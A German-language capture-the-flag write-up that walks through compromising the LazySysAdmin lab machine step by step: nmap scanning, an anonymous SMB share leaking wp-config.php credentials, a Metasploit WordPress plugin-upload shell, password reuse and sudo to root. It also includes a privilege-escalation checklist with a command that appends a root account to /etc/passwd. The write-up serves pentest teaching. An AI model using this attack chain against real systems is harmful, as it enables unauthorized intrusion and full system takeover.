Heute nehme ich mir die LazySysAdmin Maschine vor und ich wurde sie als Beginner-Intermediate einstufen. Hier geht es um SMB-Shares und WordPress Web-Anwendung. in diesem Artikel zeige ich euch Schritt für Schritt aus Sicht eines Pentesters, wie ich vorgegangen bin. Los geht’s!

Ich halte mich dabei strikt an den PTES (Penetration Testing Execution Standard).

Meine Pentesting-Methodik für diesen Pentest basierend auf PTES-Standard von OWASP.

Vorbereitung (Pre-engagement): Vor Beginn des eigentlichen Pentests stimme ich erstmal mit dem Kunden bzw. mit dem Auftraggeber das Zielsystem, die Testziele und die erlaubten Methoden ab. Außerdem werden organisatorische Rahmenbedingungen wie Zeiträume und Ansprechpartner festgelegt.
Tools: Pentestvertrag + DNA (Non-Disclosure Agreement) + LoA (Letter of Agreement) + RoE (Rule of Engagment)
Informationsbeschaffung (Intelligence Gathering / Reconnaissance): Hier identifiziere ich erreichbare Systeme und Dienste mit netdiscover und nmap. Also ich sammle Informationen über die Zielumgebung. Zum Beispiel, erreichbare Systeme, offene Ports, eingesetzte Dienste und öffentlich verfügbare Informationen. Hier entsteht dadurch ein Überblick über mögliche Angriffsflächen, was uns zu Phase 3 Threat Modeling bringt.
Tools: Nmap, netdiscover, Wireshark, whatweb, wappalyzer, gobuster, ffuf, etc..
Bedrohungsmodellierung (Threat Modeling): Ich betrachte hier mögliche Angriffspfade und welche Systeme, Daten und Geschäftsprozesse besonders wichtig sind.
Tools: OWASP Threat Dragon oder draw.io
Schwachstellenanalyse (Vulnerability Analysis): Hier werden die gesammelten Informationen über das Zielsystem genauer untersucht. Zum Beispiel, welche Dienste stecken hinter den offenen Ports? welche Software-Versionen sind eingesetzt? gibt es irgendwelche Fehlkonfigurationen? unsichere Berechtigungen z.B. anonymer Zugriff auf FTP?
Tools: Nessus, OpenVAS, Burp Suite, wpscan, smbclient, nuclei, nikto, sqlmap
Ausnutzung (Exploitation): Die identifizierte Schwachstellen werden hier (klar innerhalb des vereinbarten Testumfangs) ausgenutzt. Wichtig hier, dass die Idee dahinter ist, dass ich als Pentester nachweisen kann, dass die identifizierte Schwachstelle auch wirklich ausgenutzt werden kann :->
Tools: Metasploit, searchsploit, sqlmap, hydra, hashcat, netcat, etc…
Post-Exploitation: In dieser Phase untersuche ich, welche Daten ich einsehen kann. Kann ich höhere Berichtigungen erhalten? kann ich Zugriff auf weitere Systeme im Netzwerk erhalten? Diese Phase ist wichtig, damit ich zeigen kann, welche Folgen eine bestimmte Schwachstelle haben könnte.
Tools: LinPEAS, WinPEAS, Mimikatz, find, sudo -l, searchsploit, impacket, Bloodhound, proxychain, etc…
Dokumentation (Reporting): Abschließend beschreibe ich in einem Bericht, welche Schwachstellen mit Nachweisen ich gefunden habe und welche Folgen sie haben können. Klar auch eine Risikobewertung und konkrete Empfehlungen zur Behebung der gefundenen Schwachstellen.
Tools: word, latex, etc..

Super, reicht es mit der Theorie, jetzt lege ich mit dem Pentest los :->

Phase 1: Pre-engagement

Hier stimmt ich erstmal mit dem Kunden, welche Systeme ich testen soll und welche Ziele ich am Ende erreichen soll. Auch die Testzeiten und weitere Rahmenbedigungen.
Wenn der Kunden den Pentestvertrag, NDA, LoA, RoE unterschrieben hat, lege ich mit dem Pentest los.

Phase 2: Reconnaissance (Netzwerk-Scanning)

Als Erstes muss ich herausfinden, welche IP-Adresse die Maschine in meinem lokalen Netzwerk hat. Dafür nutze ich netdiscover oder nmap.

netdiscover -r 192.168.146.0/24
# oder
nmap -sn 192.168.146.0/24

Netdiscover sendet ARP-Anfragen in mein ganzes Subnetz. Jedes Gerät, das antwortet, wird mir angezeigt.

Hier sehe ich 3 IPs. Die Ziel-IP ist 192.168.146.130.

192.168.146.1 -> Virtuelle Standard-Gateway. Wenn ich von meiner Kali-VM ins Internet will (bei NAT), geht der Traffic über diese IP.
192.168.146.2 -> VMware DHCP-Server. Er verteilt automatisch die IP-Adressen an die virtuellen Maschinen.
192.168.146.254 -> Ich weiß noch nicht, welches Gerät hinter dieser IP-Adresse steckt. 🙁

Jetzt scanne ich das Ziel mit nmap. Hier führe ich nmap 2 mal durch.

Erstmal, um alle offene Ports zu identifizieren
Bei zweiten Mal, um die gefundene offene Ports genau zu untersuchen, z. B. Versionerkennung mit -sV oder Ausführung von Nmap-Standard-Skripte mit -sC

# 1. Alle offene Ports identifizieren:
nmap -p- 192.168.146.130 -oN nmap_allPorts_192.168.146.130.txt

# 2. Versionerkennung + Standard-Skripte ausführen
nmap -p22,80,139,445,3306,6667 -sV -sC 192.168.146.130 -oN nmap_openPorts_192.168.146.130.txt

-p- -> Scannt alle 65535 Ports (nicht nur die Standard-1000).
-sV -> Fragt die genaue Version der Dienste ab.
-sC -> Führe die Nmap-Standard-Skripte auf die offene Ports aus.
-oN -> Speichert die Ausgabe im normalen Textformat.

Wir sehe hier die folgende offene Ports:

Port	State	Service	Version
22/tcp	open	ssh	OpenSSH 6.6.1p1 Ubuntu
80/tcp	open	http	Apache httpd 2.4.7 (Ubuntu)
139/tcp	open	netbios-ssn	Samba smbd 3.X – 4.X
445/tcp	open	netbios-ssn	Samba smbd 3.X – 4.X
3306/tcp	open	mysql	MySQL
6667/tcp	open	irc	InspIRCd

Phase 3 – Threat Modeling

Meine Strategie (Phase 3 – Threat Modeling):
Ich habe hier eine riesige Angriffsfläche. Aber ich priorisiere:

SSH (22): Mein Endziel, wenn ich Benutzernamen und Passwörter habe. Auch Bruteforce möglich aber erstmal nach ausdrücklicher Genehmigung des Auftraggebers.
1. Anmelde mit Benutzername und Password möglich?
2. Bruteforce? falls Benutzernamen gefunden werden
HTTP (80): Hier läuft ein Webserver. Was läuft drauf? Fehlkonfiguration? versteckte Dateien?
1. Technologie? -> Apache 2.4.7, Silex v2.2.7
2. Versteckte Dateien oder Ordnern? /robots.txt? verbietet -> /old/ + /test/ + /TR2/ + /Backnode_files/ -> manuell prüfen, ob ich zugriff drauf habe!
3. Nikto?
4. CMS? Welche?
5. Manuelle Analyse
6. Bakannte Schwachstellen?
7. Weiteres Vorgehen -> https://hacktricks.wiki/de/network-services-pentesting/pentesting-web/index.html
SMB (139/445): Das ist oft der einfachste Einstieg, weil SMB-Shares oft schlecht konfiguriert sind.
1. Version? -> Samba 4.3.11
2. Null-Sessions / Anonymous Login ? -> Gast-Zugriff (guest) erlaubt
3. SMB-Signing deaktiviert ? -> Message Signing deaktiviert
4. Benutzer-Enumeration?
5. Bakannte Schwachstellen?
6. Weiteres Vorgehen -> https://hacktricks.wiki/de/network-services-pentesting/pentesting-smb/index.html
MySQL (3306): Falls ich DB-Credentials finde, kann ich direkt auf die Datenbank zugreifen.
1. Standard-Zugangsdaten? root:root oder root:password
2. Zugang? -> alle Datenbanken auflisten, Tabellen einsehen und nach sensiblen Daten (Passwords + Users) suchen.
3. Kann ich mit LOAD_FILE() dateien auf dem Server lesen? (Nur bei MySQL-Servern)
4. Weiteres Vorgehen -> https://hacktricks.wiki/de/network-services-pentesting/pentesting-mysql.html

Phase 4: Enumeration

Ich untersuche erstmal die SMB-Freigabe. Dafür nutze ich das Tool smbclient.

smbclient -L 192.168.146.130 -N

SMB ist das Protokoll für Netzwerkfreigaben. Ich frage den Server: „Hey, welche Ordner hast du denn so freigegeben und ob ein Null-Session-Login möglich ist?“

Ich sehe eine Freigabe namens share$ Das Dollar-Zeichen am Ende bedeutet, dass es ein verstecktes Laufwerk ist (Hidden Share).

Alternativ hätte ich auch enum4linux -a 192.168.146.130 nutzen können, um noch mehr über SMB, Benutzer und Shares zu erfahren. Aber smbclient reicht hier.

Jetzt überprüfe ich ob Anonym einloggen möglich ist!

Oft sind Shares schlecht konfiguriert und erlauben einen Login ohne Passwort (Null-Session). Ich probiere es aus:

smbclient '\\192.168.146.130\share$'

Passwort gefragt? -> drücke ich einfach Enter

Wie wir sehen, ich bin drin!

Ich schaue mich um und sehe einen Ordner WordPress sowie drei Textdateien, ein index.html und info.php : deets.txt, todolist.txt und robots.txt. Ich lade sie alle auf meine Kali-Maschine herunter:

get deets.txt
get todolist.txt
get robots.txt
get info.php
get index.html

Jetzt wechsle ich in den WordPress-Ordner und schaue, was dort liegt:

cd wordpress
ls

Ich sehe die wp-config.php! Das ist die Hauptkonfigurationsdatei von WordPress. Die enthält oft die Datenbank-Passwörter, daher lade ich sie runter:

get wp-config.php

Super, jetzt beende ich die SMB-Verbindung:

exit

Jetzt schaue ich mir die heruntergeladenen Dateien an.

Ich lese erstmal die deets.txt

cat deets.txt
cat todolist.txt
cat info.php

Ach, da sehen wir schon bei der ersten Datei, dort steht ein Passwort drin: 12345. Das notiere ich mir :->

Dann lese ich die wp-config.php:

cat wp-config.php

Wow, Ich habe die Zugangsdaten für die WordPress-Datenbank und den Admin-Login gefunden:

Benutzername: admin
Passwort: TogieMYSQL12345^^

Phase 5: Exploitation (Ausnutzung der Schwachstellen)

Ich öffne im Browser die WordPress-Seite, genau gesagt, direkt das WordPress-Admin-Panel:

http://192.168.146.130/wordpress/wp-admin

Ich logge mich jetzt mit den gefundenen Credentials (admin / TogieMYSQL12345^^) ein

Jooo, ich bin drin!

Da ich WordPress-Admin bin, versuche ich mir ein Shell über WordPress zu erhalten. Hierzu gibt es 2 Wege -> Entweder manuell oder mit Metasploit!

Ich werde euch die 2 Wege detailleirt zeigen:

msfconsole
use exploit/unix/webapp/wp_admin_shell_upload
set rhosts 192.168.146.130
set targeturi /wordpress
set username admin
set password TogieMYSQL12345^^
exploit

Dieses Metasploit-Modul automatisiert den gesamten Prozess:

Es loggt sich in WordPress ein
erstellt ein bösartiges Plugin (ZIP-Datei)
lädt es hoch
aktiviert es und führt es aus.
Sobald das Plugin ausgeführt wird, verbindet es sich zurück zu meiner Kali-Maschine.

Wie wir sehen, ich habe eine Meterpreter-Session erhalten. Also ich bin jetzt auf dem System!

Bevor ich weitermache, wurde ich gerne noch die TTY-Shell upgraden!

Ich habe nichts gegen eine Meterpreter-Session aber ich will eine richtige Linux-Shell.

shell
python -c 'import pty;pty.spawn("/bin/bash")'

Phase 6: Post-Exploitation (Privilege Escalation)

Ich bin auf dem System, aber noch nicht Root. Daher ist die Phase 6 wichtig. Jetzt geht es um die Rechteausweitung, also wie weit oder tief ich auf dem System durch die gefundene Schwachstellen komme.

Für die Phase habe ich eine detaillierte Checkliste.
z. B.

Kernel & OS Version: uname -a, cat /etc/issue, cat /etc/*-release, cat /proc/version
Kann ich ls -l /etc/shadow lesen?
Sudo-Rechte: sudo -l -> Darf ich irgendetwas als root ausführen?
SUID-Binaries: find / -perm -4000 -type f 2>/dev/null -> Gibt es Programme, die als root laufen und ich manipulieren kann?
Cronjobs: cat /etc/crontab & ls -la /etc/cron.* -> Läuft ein Skript als root, das ich bearbeiten kann?
Capabilities: getcap -r / 2>/dev/null -> Hat ein Programm ungewöhnliche Rechte?
Gruppen: id -> Bin ich in einer gefährlichen Gruppe wie docker, lxd oder shadow?
Prozesse: ps aux -> Läuft ein Dienst als root, dessen Binary ich überschreiben kann?
Beschreibbare /etc/passwd? -> ich kann einen neuen Root-Benutzer hinzufügen -> echo 'hacker:GENERATED_HASH:0:0:root:/root:/bin/bash' >> /etc/passwd
NFS (Network File System): cat /etc/exports (auf no_root_squash prüfen)
Hier ist eine einfache Online-Checkliste -> https://github.com/intotheewild/OSCP-Checklist/blob/main/03a.%20Linux%20Privilege%20Escalation.md
Automatisierte Enumeration und zwar mit LinPEAS für Linux-Systeme oder WinPEAS für Windows-Systeme.

Aber Moment, in meinem Fall gibt es etwas, das ich auf jeden Fall untersuchen soll, bevor ich mit meiner Checkliste beginne und zwar erinnert ihr euch an das Passwort 12345 aus der deets.txt? Viele Admins verwenden dasselbe Passwort für verschiedene Dienste. Ich probiere, ob ich mich als root mit diesem Passwort einloggen kann:

su root
# Passwort eingeben: 12345

Ahm, fehlgeschlagen, dann gucke ich mir erstmal in der /etc/passwd-Datei an. Welche Benutzer existieren auf dem Linux-System?

cat /etc/passwd

Ok, da sehe ich eine einen Benutzer namens togie! Ich probiere das gefundene Passwort für togie aus!

BÄM! Es funktioniert. Ich bin jetzt der Benutzer togie.

Jetzt kommt der Standard-Check nach jedem Login:

sudo -l

Was ich gefunden habe ist wirklich Katastrophe für den Admin!

User togie may run the following commands on this host:
    (ALL : ALL) ALL

Das bedeutet: Der Benutzer togie darf alle Befehle als Root ausführen.

Ich muss also nur noch einen Befehl mit sudo ausführen, um Root zu werden:

sudo su

Wie ihr sieht, ich bin Root!

Jetzt den Flag

cd /root
ls
cat proof.txt

Take Away Konzepte

Take Away	Beschreibung
SMB-Shares sind Gold wert	Oft sind versteckte Shares (`share$`) ohne Passwort (Anonymous Login) erreichbar und enthalten sensible Backups
Immer alle Dateien analysieren	Die Datei `deets.txt` enthielt das Passwort `12345`. Ein kleiner Hinweis, der am Ende zu Root führt.
Passwort-Wiederverwendung	Das Passwort aus der Textdatei (`12345`) funktionierte auch für den Linux-Benutzer `togie`.
WordPress-Admin = Web-Shell	Als Admin kann man Plugins hochladen. Das ist in den falschen Händen eine direkte Eintrittskarte ins System.
`sudo -l` ist dein Freund	Der Benutzer `togie` hatte `(ALL : ALL) ALL`. Das ist der Jackpot für jeden Pentester.

Mein Rat an euch: Diese Box ist ein Paradebeispiel dafür, wie eine Kette von einfachen Fehlern (anonymer SMB-Share, Passwort im Klartext, Passwort-Wiederverwendung, zu großzügige Sudo-Rechte) zur kompletten Kompromittierung führt.

ALAKEEL

LazySysAdmin